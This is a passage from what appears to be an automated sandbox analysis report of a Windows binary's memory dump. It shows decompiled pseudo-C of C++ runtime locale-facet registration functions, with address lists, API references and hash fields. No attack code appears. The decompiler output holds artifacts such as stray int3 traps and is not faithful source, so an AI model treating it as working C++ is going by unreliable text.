																																									return E0049D8D4(_t561);
																																								} else {
																																									__eflags = _t577;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E769(_t561, _t577, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											E0049D90B(0x4d6966, _t561, _t577);
																																											E00488DEA( &_v20, 0);
																																											_t578 =  *0x4ede28; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t578;
																																											_t562 = E0042B315(_a8, E0042B22E(0x4eddcc, _t561, _t578, __eflags));
																																											__eflags = _t562;
																																											if(_t562 != 0) {
																																												L96:
																																												E00488E42( &_v20);
																																												return E0049D8D4(_t562);
																																											} else {
																																												__eflags = _t578;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E7D5(_t562, _t578, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														E0049D90B(0x4d6966, _t562, _t578);
																																														E00488DEA( &_v20, 0);
																																														_t579 =  *0x4eddf8; // 0x0
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t579;
																																														_t563 = E0042B315(_a8, E0042B22E(0x4edd78, _t562, _t579, __eflags));
																																														__eflags = _t563;
																																														if(_t563 != 0) {
																																															L103:
																																															E00488E42( &_v20);
																																															return E0049D8D4(_t563);
																																														} else {
																																															__eflags = _t579;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																_t348 = E0048E849(_t563, _t579, __eflags);
																																																_pop(_t502);
																																																__eflags = _t348 - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(_t579);
																																																	_t580 = _t502;
																																																	_t182 = _t580 + 0x10;
																																																	 *_t182 =  *(_t580 + 0x10) & 0x00000000;
																																																	__eflags =  *_t182;
																																																	 *((intOrPtr*)(_t580 + 0x14)) = 7;
																																																	 *_t580 = 0;
																																																	E00494BE0( *((intOrPtr*)(_t600 + 8)));
																																																	return _t580;
																																																} else {
																																																	_t563 = _v16;
																																																	_v16 = _t563;
																																																	_v4 = 1;
																																																	E0048919D(_t563);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t563 + 4))))();
																																																	 *0x4eddf8 = _t563;
																																																	goto L103;
																																																}
																																															} else {
																																																_t563 = _t579;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t562 = _v16;
																																														_v16 = _t562;
																																														_v4 = 1;
																																														E0048919D(_t562);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t562 + 4))))();
																																														 *0x4ede28 = _t562;
																																														goto L96;
																																													}
																																												} else {
																																													_t562 = _t578;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t561 = _v16;
																																											_v16 = _t561;
																																											_v4 = 1;
																																											E0048919D(_t561);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t561 + 4))))();
																																											 *0x4eddf4 = _t561;
																																											goto L89;
																																										}
																																									} else {
																																										_t561 = _t577;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t560 = _v16;
																																								_v16 = _t560;
																																								_v4 = 1;
																																								E0048919D(_t560);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t560 + 4))))();
																																								 *0x4ede24 = _t560;
																																								goto L82;
																																							}
																																						} else {
																																							_t560 = _t576;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t559 = _v16;
																																					_v16 = _t559;
																																					_v4 = 1;
																																					E0048919D(_t559);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t559 + 4))))();
																																					 *0x4eddd8 = _t559;
																																					goto L75;
																																				}
																																			} else {
																																				_t559 = _t575;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t558 = _v16;
																																		_v16 = _t558;
																																		_v4 = 1;
																																		E0048919D(_t558);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t558 + 4))))();
																																		 *0x4ede08 = _t558;
																																		goto L68;
																																	}
																																} else {
																																	_t558 = _t574;
																																	goto L68;
																																}
																															}
																														} else {
																															_t557 = _v16;
																															_v16 = _t557;
																															_v4 = 1;
																															E0048919D(_t557);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t557 + 4))))();
																															 *0x4eddd4 = _t557;
																															goto L61;
																														}
																													} else {
																														_t557 = _t573;
																														goto L61;
																													}
																												}
																											} else {
																												_t556 = _v16;
																												_v16 = _t556;
																												_v4 = 1;
																												E0048919D(_t556);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t556 + 4))))();
																												 *0x4ede04 = _t556;
																												goto L54;
																											}
																										} else {
																											_t556 = _t572;
																											goto L54;
																										}
																									}
																								} else {
																									_t555 = _v16;
																									_v16 = _t555;
																									_v4 = 1;
																									E0048919D(_t555);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t555 + 4))))();
																									 *0x4eddd0 = _t555;
																									goto L47;
																								}
																							} else {
																								_t555 = _t571;
																								goto L47;
																							}
																						}
																					} else {
																						_t554 = _v16;
																						_v16 = _t554;
																						_v4 = 1;
																						E0048919D(_t554);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t554 + 4))))();
																						 *0x4ede00 = _t554;
																						goto L40;
																					}
																				} else {
																					_t554 = _t570;
																					goto L40;
																				}
																			}
																		} else {
																			_t553 = _v16;
																			_v16 = _t553;
																			_v4 = 1;
																			E0048919D(_t553);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t553 + 4))))();
																			 *0x4eddec = _t553;
																			goto L33;
																		}
																	} else {
																		_t553 = _t569;
																		goto L33;
																	}
																}
															} else {
																_t552 = _v16;
																_v16 = _t552;
																_v4 = 1;
																E0048919D(_t552);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t552 + 4))))();
																 *0x4eddf0 = _t552;
																goto L26;
															}
														} else {
															_t552 = _t568;
															goto L26;
														}
													}
												} else {
													_t551 = _v16;
													_v16 = _t551;
													_v4 = 1;
													E0048919D(_t551);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t551 + 4))))();
													 *0x4ede1c = _t551;
													goto L19;
												}
											} else {
												_t551 = _t567;
												goto L19;
											}
										}
									} else {
										_t550 = _v16;
										_v16 = _t550;
										_v4 = 1;
										E0048919D(_t550);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t550 + 4))))();
										 *0x4ede20 = _t550;
										goto L12;
									}
								} else {
									_t550 = _t566;
									goto L12;
								}
							}
						} else {
							_t549 = _v16;
							_v16 = _t549;
							_v4 = 1;
							E0048919D(_t549);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t549 + 4))))();
							 *0x4edde8 = _t549;
							goto L5;
						}
					} else {
						_t549 = _t565;
						goto L5;
					}
				}
			}

0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7d6
0x0048c7db
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3

APIs

__EH_prolog3.LIBCMT ref: 0048C7AC
std::_Lockit::_Lockit.LIBCPMT ref: 0048C7B6

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048C807
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C827
Concurrency::cancel_current_task.LIBCPMT ref: 0048C834

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 2df940732c53b17db10b5e41f26ad0a1d31bdbdcc3de7715b241603d4b1ebf81
Instruction ID: e36a4d9fe8cc4170cb1dd06fa06e0c07e4575a9c3f34773dfdf7fe1810bf6a8d
Opcode Fuzzy Hash: 2df940732c53b17db10b5e41f26ad0a1d31bdbdcc3de7715b241603d4b1ebf81
Instruction Fuzzy Hash: E901C435D001168BCB05FBA5D859ABE77A1AF84314F54081FF810AB382DF3C9E01CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004998B2, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E004998B2() {
				signed int _t35;
				void* _t51;
				signed int _t78;
				void* _t85;
				signed int _t87;
				void* _t88;
				signed int _t89;
				signed int _t90;
				signed int _t91;
				void* _t94;
				void* _t95;

				_push(8);
				E0049D90B(0x4d6966, _t85, _t88);
				E00488DEA(_t94 - 0x14, 0);
				_t89 =  *0x4ede68; // 0x0
				 *(_t94 - 4) =  *(_t94 - 4) & 0x00000000;
				 *(_t94 - 0x10) = _t89;
				_t35 = E0042B315( *((intOrPtr*)(_t94 + 8)), E0042B22E(0x4ede48, _t85, _t89, _t95));
				_t86 = _t35;
				if(_t35 != 0) {
					L5:
					E00488E42(_t94 - 0x14);
					return E0049D8D4(_t86);
				} else {
					if(_t89 == 0) {
						_push( *((intOrPtr*)(_t94 + 8)));
						_push(_t94 - 0x10);
						__eflags = E00499DC6(_t86, _t89, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t86, _t89);
							E00488DEA(_t94 - 0x14, 0);
							_t90 =  *0x4ede6c; // 0x0
							 *(_t94 - 4) =  *(_t94 - 4) & 0x00000000;
							 *(_t94 - 0x10) = _t90;
							_t87 = E0042B315( *((intOrPtr*)(_t94 + 8)), E0042B22E(0x4ede4c, _t86, _t90, __eflags));
							__eflags = _t87;
							if(_t87 != 0) {
								L12:
								E00488E42(_t94 - 0x14);
								return E0049D8D4(_t87);
							} else {
								__eflags = _t90;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t94 + 8)));
									_push(_t94 - 0x10);
									_t51 = E00499E32(_t87, _t90, __eflags);
									_pop(_t78);
									__eflags = _t51 - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(4);
										E0049D90B(0x4d6989, _t87, _t90);
										_t91 = _t78;
										 *(_t94 - 0x10) = _t91;
										 *((intOrPtr*)(_t91 + 4)) =  *((intOrPtr*)(_t94 + 0xc));
										_push( *((intOrPtr*)(_t94 + 8)));
										_t29 = _t94 - 4;
										 *_t29 =  *(_t94 - 4) & 0x00000000;
										__eflags =  *_t29;
										 *_t91 = 0x402f68; // executed
										E0049AC63(_t78, _t87, _t91,  *_t29); // executed
										return E0049D8D4(_t91);
									} else {
										_t87 =  *(_t94 - 0x10);
										 *(_t94 - 0x10) = _t87;
										 *(_t94 - 4) = 1;
										E0048919D(_t87);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t87 + 4))))();
										 *0x4ede6c = _t87;
										goto L12;
									}
								} else {
									_t87 = _t90;
									goto L12;
								}
							}
						} else {
							_t86 =  *(_t94 - 0x10);
							 *(_t94 - 0x10) = _t86;
							 *(_t94 - 4) = 1;
							E0048919D(_t86);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t86 + 4))))();
							 *0x4ede68 = _t86;
							goto L5;
						}
					} else {
						_t86 = _t89;
						goto L5;
					}
				}
			}

0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e3
0x004998e8
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0

APIs

__EH_prolog3.LIBCMT ref: 004998B9
std::_Lockit::_Lockit.LIBCPMT ref: 004998C3

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 00499914
std::_Lockit::~_Lockit.LIBCPMT ref: 00499934
Concurrency::cancel_current_task.LIBCPMT ref: 00499941

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 0e9bd867374baf6000a31275340e654b5b7aea78279cd26d6454baf336a4bb18
Instruction ID: f48d92260b285a688d3f172a5cfa79e7b510e4c62925896f1aaef37141bc9d65
Opcode Fuzzy Hash: 0e9bd867374baf6000a31275340e654b5b7aea78279cd26d6454baf336a4bb18
Instruction Fuzzy Hash: 8401A172D002158BCF15FB6998996BE7B61AF90318F54042EE4116B392CF7C9D01C799

Uniqueness

Uniqueness Score: -1.00%

Function 00499947, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00499947() {
				intOrPtr* _t23;
				void* _t28;
				intOrPtr* _t45;
				void* _t49;
				void* _t51;
				intOrPtr* _t52;
				intOrPtr* _t53;
				void* _t55;
				void* _t56;

				_push(8);
				E0049D90B(0x4d6966, _t49, _t51);
				E00488DEA(_t55 - 0x14, 0);
				_t52 =  *0x4ede6c; // 0x0
				 *(_t55 - 4) =  *(_t55 - 4) & 0x00000000;
				 *((intOrPtr*)(_t55 - 0x10)) = _t52;
				_t23 = E0042B315( *((intOrPtr*)(_t55 + 8)), E0042B22E(0x4ede4c, _t49, _t52, _t56));
				_t50 = _t23;
				if(_t23 != 0) {
					L5:
					E00488E42(_t55 - 0x14);
					return E0049D8D4(_t50);
				} else {
					if(_t52 == 0) {
						_push( *((intOrPtr*)(_t55 + 8)));
						_push(_t55 - 0x10);
						_t28 = E00499E32(_t50, _t52, __eflags);
						_pop(_t45);
						__eflags = _t28 - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(4);
							E0049D90B(0x4d6989, _t50, _t52);
							_t53 = _t45;
							 *((intOrPtr*)(_t55 - 0x10)) = _t53;
							 *((intOrPtr*)(_t53 + 4)) =  *((intOrPtr*)(_t55 + 0xc));
							_push( *((intOrPtr*)(_t55 + 8)));
							_t17 = _t55 - 4;
							 *_t17 =  *(_t55 - 4) & 0x00000000;
							__eflags =  *_t17;
							 *_t53 = 0x402f68; // executed
							E0049AC63(_t45, _t50, _t53,  *_t17); // executed
							return E0049D8D4(_t53);
						} else {
							_t50 =  *((intOrPtr*)(_t55 - 0x10));
							 *((intOrPtr*)(_t55 - 0x10)) = _t50;
							 *(_t55 - 4) = 1;
							E0048919D(_t50);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t50 + 4))))();
							 *0x4ede6c = _t50;
							goto L5;
						}
					} else {
						_t50 = _t52;
						goto L5;
					}
				}
			}

0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x00499978
0x0049997d
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985

APIs

__EH_prolog3.LIBCMT ref: 0049994E
std::_Lockit::_Lockit.LIBCPMT ref: 00499958

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 004999A9
std::_Lockit::~_Lockit.LIBCPMT ref: 004999C9
Concurrency::cancel_current_task.LIBCPMT ref: 004999D6

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 0daafc2dec987b19df32decd132da27655d4e0972ca025a0e5a46bea218a48e9
Instruction ID: 58302f9919c5a46ba8c60c13022793c9855dc3c5662e0e09ac0ca11f89d5a2fc
Opcode Fuzzy Hash: 0daafc2dec987b19df32decd132da27655d4e0972ca025a0e5a46bea218a48e9
Instruction Fuzzy Hash: 38010471D001158BCF01FB6AD85A6BE7B61AF90314F14441FE4116B382CF7C9D01CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0048CA8E, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048CA8E(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v116;
				signed int _t129;
				void* _t233;
				short* _t337;
				void* _t368;
				signed int _t370;
				signed int _t371;
				signed int _t372;
				signed int _t373;
				signed int _t374;
				signed int _t375;
				signed int _t376;
				signed int _t377;
				signed int _t378;
				void* _t379;
				signed int _t380;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				signed int _t384;
				signed int _t385;
				signed int _t386;
				signed int _t387;
				signed int _t388;
				signed int _t389;
				short* _t390;
				void* _t405;
				void* _t406;

				_push(8);
				E0049D90B(0x4d6966, _t368, _t379);
				E00488DEA( &_v20, 0);
				_t380 =  *0x4ede00; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t380;
				_t129 = E0042B315(_a8, E0042B22E(0x4edda4, _t368, _t380, _t406));
				_t369 = _t129;
				if(_t129 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t369);
				} else {
					if(_t380 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E467(_t369, _t380, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t369, _t380);
							E00488DEA( &_v20, 0);
							_t381 =  *0x4eddd0; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t381;
							_t370 = E0042B315(_a8, E0042B22E(0x4edd7c, _t369, _t381, __eflags));
							__eflags = _t370;
							if(_t370 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t370);
							} else {
								__eflags = _t381;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E4CF(_t370, _t381, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t370, _t381);
										E00488DEA( &_v20, 0);
										_t382 =  *0x4ede04; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t382;
										_t371 = E0042B315(_a8, E0042B22E(0x4edda8, _t370, _t382, __eflags));
										__eflags = _t371;
										if(_t371 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t371);
										} else {
											__eflags = _t382;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E537(_t371, _t382, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t371, _t382);
													E00488DEA( &_v20, 0);
													_t383 =  *0x4eddd4; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t383;
